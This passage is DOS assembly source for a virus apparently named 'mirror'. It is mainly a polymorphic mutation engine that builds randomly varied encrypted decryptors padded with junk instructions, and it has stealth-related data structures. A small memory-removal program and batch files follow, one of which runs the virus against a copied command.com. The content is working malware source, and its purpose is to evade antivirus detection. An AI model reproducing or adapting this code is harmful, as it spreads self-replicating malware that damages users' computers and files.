inc ax
add ax,ds:[bx+3]
cmp ax,cx
jb FindNext
ret
;*****************************************************************************;
; ;
; Mutation engine ;
; ;
;*****************************************************************************;
; ;
; Entry: Randomize = Random Number ;
; DecryptorOfs = Decryptor offset (Not needed for decryption) ;
; CodeSize = Code size ;
; MutationFlags = bit 0: assume decryptor ds=cs (com-files) ;
; bit 1: assume decryptor ss=cs (com-files) ;
; bit 7: decrypt mutated virus (stealth) ;
; DecryptorSize = Decryptor size ;
; ;
; cs:[VirusTop] = Code (Not needed for decryption) ;
; cs:[Buffer] = Buffer (Mutated virus) ;
; ;
;*****************************************************************************;
Mutate: push bx
push di
push ds
push es
push cs
pop es
push cs
pop ds
mov cx,1234h
CodeSize equ word ptr [$ - VirusTop - 2]
mov di,offset Buffer
push cx ; save cx for later use.
call InitMutate ; generate decryptor
pop cx ; restore cx
test ds:MutationFlags,80h ; 0=encryption, 80h=decryption
jnz EncryptDecrypt
xor si,si
cld ; copy the code that must be
rep movsb ; encrypted
Param1 equ word ptr [$ - VirusTop + 1]
Param2 equ word ptr [$ - VirusTop + 4]
Param3 equ word ptr [$ - VirusTop + 0ah]
Param4 equ word ptr [$ - VirusTop + 13h]
Param5 equ word ptr [$ - VirusTop + 17h]
EncryptOpcode equ byte ptr [$ - VirusTop + 10h]
CompareOpcode equ byte ptr [$ - VirusTop + 15h]
ConditionOpcode equ byte ptr [$ - VirusTop + 19h]
AddOpcode equ byte ptr [$ - VirusTop + 0eh]
EncryptDecrypt: mov bx,1234h ; 0000 BB ?? ??
mov ax,1234h ; 0003 B8 ?? ??
Repeat: mov dx,bx ; 0006 89 DA
add bx,1234h ; 0008 81 C3 ?? ??
mov cx,ax ; 000C 89 C1
add ax,bx ; 000E 01 D8
add cs:[bx+1234h],bl ; 0010 2E 00 9F ?? ??
sub bx,1234h ; 0015 81 EB ?? ??
jnz Repeat ; 0019 75 EF
pop es
pop ds
pop di
pop bx
MutationDone: ret
JumpTable equ word ptr [$ - VirusTop]
dw InitReg - VirusTop ; 3 bytes ; 1 cl&02
dw SetDestenation - VirusTop ; 0 bytes ; 2 cl&03
dw IncReg - VirusTop ; 4 bytes ; 3 cl&08
dw MoveIndex - VirusTop ; 2 bytes ; 4 cl&10
dw Memory - VirusTop ; 5 bytes ; 5 cl&20
dw Compare - VirusTop ; 6 bytes ; 6 cl&40
dw PrefetchFix - VirusTop ; 2 bytes ; 7 cl&80
TrashTable equ word ptr [$ - VirusTop]
dw IncDecTrash - VirusTop ; 1 byte ; 1
dw ZeroReg - VirusTop ; 2 bytes ; 2
dw JumpTrash - VirusTop ; 2 bytes ; 3
dw InitTrash - VirusTop ; 3 bytes ; 4
dw AddSubTrash - VirusTop ; 4 bytes ; 5
dw MemoryTrash - VirusTop ; 5 bytes ; 6
dw MoveTrash - VirusTop ; 2 bytes ; 7
OpcodeTable equ byte ptr [$ - VirusTop]
db 00h,28h,30h,30h
db 79h,78h,75h,75h
MoveIndex: xor cl,30h
sub ch,2
Registers equ word ptr [$ - VirusTop + 1]
IndexReg equ byte ptr [$ - VirusTop + 1]
CounterReg equ byte ptr [$ - VirusTop + 2]
db 0bbh,?,?
push cx
xchg ax,cx
mov cx,0c089h
cmp bl,bh
jne MakeMove
mov ds:FlagsOk,0ebh
CryptReg equ byte ptr [$ - VirusTop + 1]
db 0b3h,?
test al,08h
mov al,0d8h
jz SetAddOpcode
mov al,0d0h
SetAddOpcode: mov ds:AddOpcode[1],al
call Random
push bx
and ax,3
xchg ax,bx
mov al,OpcodeTable[bx]
mov ah,0c0h
inc ax
pop bx
mov ds:AddOpcode,al
xchg ax,cx
MakeMove: call Random
and al,2
jnz DirectionOk
xchg bl,bh
DirectionOk: rol bl,1
rol bl,1
rol bl,1
mov ah,bl
or ah,bh
or ax,cx
stosw
pop cx
ret
db 2
MoveTrash: push cx
call RandomRegFF
and ax,0707h
xchg ax,bx
mov cx,0c089h
jmp MakeMove
InitMutate: mov ds:Reserved,11h
call Random
call ResetRegZero
push ax
mov bx,1234h
DecryptorOfs equ word ptr [$ - VirusTop - 2]
mov si,1234h
DecryptorSize equ word ptr [$ - VirusTop - 2]
add bx,si
add si,di
mov dx,bx
mov
ds:Param3,1
mov ds:Param4,si
mov ds:Param5,ax
call Random
and ax,3
mov bx,8000h
mov ds:JumpType,al
dec ax
js Ok
xchg ax,bx
mov ax,7fffh
je Ok
xor ax,ax
xor bx,bx
Ok: push ax
call Random
pop ax
jpe Increase
add ax,cx
add dx,cx
neg ds:Param3
add ds:Param4,cx
mov cx,1903h
jmp Decrease
Increase: xchg ax,bx
sub ax,cx
mov cx,1703h
Decrease: mov ds:Param1,ax
call Random
and al,10h
or al,0ebh
mov ds:CmpSub,al
mov ds:CompareOpcode[1],al
test al,10h
pop ax
jnz UseCompare
add ds:Param3,ax
jmp Skip
UseCompare: add ds:Param1,ax
Skip: mov ax,ds:Param1
sub dx,ax
add ax,ds:Param3
sub ds:Param4,ax
Again: mov bx,offset JumpTable - 2
cld
call Choose
call bx
or cl,cl
jne Again
ret
Choose: call Random
and ax,300h
push cx
ChooseNext: inc ax
ror cl,1
sbb ah,0
jae ChooseNext
pop cx
dec ax
and ax,7
jz Trash
or cl,1
add bx,ax
add bx,ax
mov bx,ds:[bx]
ret
Trash: inc bx
mov ax,si
sub ax,di
jbe Ready
sub al,ch
ja NotReady
Ready: and cl,0feh
ret
NotReady: push bx
push cx
push ds:Randomize
mov bx,offset TrashTable - 2
mov cl,11111110b
mov ch,al
call Choose
cmp ch,ds:[bx-1]
jae SizeOk
mov bx,offset IncDecTrashAbs
SizeOk: call bx
pop ds:Randomize
pop cx
pop bx
ret
db 3
InitTrash: call RandomRegFF
or al,0b8h
StoreRandom: stosb
call RealRandom
stosw
ret
InitReg: xor cl,06h
sub ch,6
push cx
mov ch,00001111b
call RandomReg
mov ds:CounterReg,al
mov ds:CryptReg,al
push ax
or al,0b8h
stosb
mov ax,ds:Param1
stosw
pop ax
mov bx,cx
cmp al,3
je IndexRegOk
GetIndexReg: mov ch,11101000b
call RandomReg
IndexRegOk: mov ds:IndexReg,al
or ds:Reserved,cl
cmp al,ds:CounterReg
jne NoCryptReg
mov ch,00001111b
call RandomReg
mov ds:CryptReg,al
or al,0b8h
stosb
call Random
mov ds:Param2,ax
stosw
or bl,cl
NoCryptReg: or ds:Reserved,bl
pop cx
ret
SetDestenation: xor cl,1ch
sub ch,2
mov ds:JumpDestenation,di
ResetRegZero: mov ds:RegZero,0ffh
jmp ResetFlagsOk
db 1
IncDecTrashAbs equ byte ptr [$ - VirusTop]
IncDecTrash: call RandomRegFF
and ah,8
or al,ah
or al,40h
Compress1: stosb
jmp ResetFlagsOk
db 2
FlagsOk equ byte ptr [$ - VirusTop]
JumpTrash: jb IncDecTrash
call RealRandom
mov al,75h
jpe StoreJump
mov al,78h
StoreJump: stosw
ret
Memory: xor cl,20h
sub ch,5
mov al,ds:IndexReg
sub al,5
ja RegOk1
mov al,3
jb RegOk2
RegOk1: dec ax
RegOk2: or al,84h
xchg ax,bx
call Random
and al,4
mov ah,ds:CryptReg
or al,ah
rol al,1
rol al,1
rol al,1
or al,bl
push ax
call MemoryOpcode
test ds:MutationFlags,80h
jnz Decryptor
Encryptor: xor bl,1
Decryptor: mov al,OpcodeTable[bx]
mov ds:EncryptOpcode[1],al
pop ax
stosb
and al,20h
or al,87h
cmp ah,ds:CounterReg
jne NotEqual
or al,9fh
NotEqual: mov ds:EncryptOpcode[2],al
xchg ax,dx
stosw
SetStatus: test cl,38h
jnz ResetFlagsOk
or cl,40h
ResetFlagsOk: mov ds:FlagsOk,0ebh
ret
db 2
ZeroReg: call RandomRegFF
not cl
and ds:RegZero,cl
xchg al,ah
and al,1ah
test al,18h
jpo OpcodeOk
xor al,10h
OpcodeOk: mov cl,3
mov ch,ah
rol ah,cl
or ah,ch
or ax,0c021h
stosw
SetFlagsOk: mov ds:FlagsOk,072h
ret
db 5
RegZero equ byte ptr [$ - VirusTop + 1]
MemoryTrash: db 0b5h,?
not ch
and ch,0fh
jz ZeroReg
call RandomRegFF
and ah,23h
mov cl,3
rol al,cl
or al,84h
or al,ah
push ax
call MemoryOpcode
pop ax
Compress2: call StoreRandom
jmp ResetFlagsOk
IncReg: xor cl,08h
sub ch,4
mov bx,ds:Param3
xor ds:EncryptOpcode[2],8
mov ax,ds:Registers
cmp al,ah
je Adjust
test cl,10h
jz DoNotAdjust
Adjust: sub dx,bx
DoNotAdjust: call AddSub
jmp SetStatus
Compare: sub ch,6
xor cl,0c0h
mov ax,ds:Param5
CmpSub equ byte ptr [$ - VirusTop + 1]
db 0b3h,?
xchg ax,bx
cmp al,0fbh
je DoNotChange
neg bx
call AddSubLarge
jmp Jump
DoNotChange: mov ax,0f881h
call AddSubMore
JumpType equ byte ptr [$ - VirusTop + 1]
Jump: db 0bbh,?,0
mov al,ds:OpcodeTable[bx+4]
mov ds:ConditionOpcode,al
stosb
JumpDestenation equ word ptr [$ - VirusTop + 1]
db 0b8h,?,?
sub ax,di
dec ax
jmp Compress1
db 4
AddSubTrash: mov al,81h
stosb
call RandomRegFF
and ah,38h
or al,0c0h
or al,ah
jmp Compress2
PrefetchFix: or ch,ch
je DontFix
mov al,0ebh
cmp ds:FlagsOk,al
je JumpOpcodeOk
mov al,79h
JumpOpcodeOk: stosb
mov ax,si
sub ax,di
dec ax
jns JumpOk
xor ax,ax
JumpOk: stosb
DontFix: and cx,1
ret
AddSub: cmp bx,2
jg AddSubLarge
cmp bx,-2
jge AddSubSmall
AddSubLarge: call Random
mov ax,0c081h
jns AddSubMore
mov ah,0e8h
neg bx
AddSubMore: or ah,ds:CounterReg
push ax
mov al,bl
cbw
cmp ax,bx
pop ax
je AddSubByte
AddSubWord: stosw
xchg ax,bx
stosw
ret
AddSubByte: mov al,83h
stosw
xchg ax,bx
stosb
Return: ret
Sub1: inc bx
mov al,48h
AddSub1: or al,ds:CounterReg
stosb
AddSubSmall: or bx,bx
je Return
js Sub1
Add1: dec bx
mov al,40h
jmp AddSub1
MemoryOpcode: and al,7
cmp al,6
mov al,1
jne NotBP
mov al,2
MutationFlags equ byte ptr [$ - VirusTop + 1]
NotBP: db 0a8h,?
jnz DoNotOverride
mov al,2eh
stosb
DoNotOverride: call Random
and ax,3
xchg ax,bx
mov al,ds:OpcodeTable[bx]
stosb
ret
RealRandom: xor ax,ax
out 43h,al
call Random
push bx
xchg ax,bx
in al,40h
xchg al,ah
in al,40h
add ax,bx
pop bx
ret
Random: mov ax,1234h
Randomize equ word ptr [$ - VirusTop - 2]
ror ax,1
ror ax,1
ror ax,1
inc ax
mov ds:Randomize,ax
ret
RandomRegFF: mov ch,0ffh
RandomReg: call Random
RandomRegNext: inc ax
and al,7
xchg ax,cx
mov al,1
rol al,cl
xchg ax,cx
Reserved equ byte ptr [$ - VirusTop + 2]
db 0f6h,0c1h,?
jnz RandomRegNext
test cl,ch
jz RandomRegNext
or ds:RegZero,cl
ret
;*****************************************************************************;
; ;
; Mutation engine ends here. ;
; ;
;*****************************************************************************;
VirusEnd equ $
MaxFiles equ 4
FileTable equ [$ - VirusTop]
FileTableEntry equ (HeaderLength + 7)
db (FileTableEntry * MaxFiles) dup(?)
dwa macro ident
ident equ word ptr [$ - VirusTop]
dw ?
endm
dba macro ident
ident equ byte ptr [$ - VirusTop]
db ?
endm
NewExeOfs equ dword ptr [$ - VirusTop]
dwa NewExeOfsL
dwa NewExeOfsH
SFT_Entry equ word ptr [$ - VirusTop]
dwa SFT_HandleCount ; 0
dwa SFT_OpenMode ; 2
dba SFT_Attribute ; 4
dwa SFT_DeviceInfo ; 5
dwa SFT_DeviceInfoOfs ; 7
dwa SFT_DeviceInfoSeg ; 9
dwa SFT_Cluster ; b
dwa SFT_Time ; d
dwa SFT_Date ; f
dwa SFT_FileSizeL ; 11
dwa SFT_FileSizeH ; 13
dwa SFT_FilePosL ; 15
dwa SFT_FilePosH ; 17
StealthNames equ byte ptr [$ - VirusTop]
db (8 * 0ah) dup(?)
Buffer equ byte ptr [$ - VirusTop]
db 120h dup(?)
MemoryEnd equ $
;*****************************************************************************;
; ;
; All good things must end. This virus ends here. ;
; ;
;*****************************************************************************;
code ends
end EntryPoint
8<------------<remove.asm>-------------------------------------------------->8
code segment public 'code'
assume cs:code, ds:code, es:code
org 100h
Main: mov ah,9
mov dx,offset Msg1
int 21h
mov ax,0fdc8h
mov ds,ax
mov si,041f9h
cmp byte ptr ds:[si],09ah
jne Failed
mov byte ptr ds:[si],36h
mov word ptr ds:[si+1],16ffh
mov word ptr ds:[si+3],05eah
push cs
pop ds
mov ah,9
mov dx,offset Msg3
int 21h
jmp Exit
Failed: push cs
pop ds
mov ah,9
mov dx,offset Msg2
int 21h
Exit: mov ax,4c00h
int 21h
Msg1 db 'Removing mirror from memory... $'
Msg2 db 'Failed!',13,10,'$'
Msg3 db 'Ok!',13,10,'$'
code ends
end Main
8<--------------<remove.bat>------------------------------------------------>8
@echo off
remove
copy c:\dos\command.com c:\virus\command.com
8<--------<mirror.bat>------------------------------------------------------>8
copy c:\dos\command.com c:\virus\command.com
set comspec=c:\virus\command.com
mirror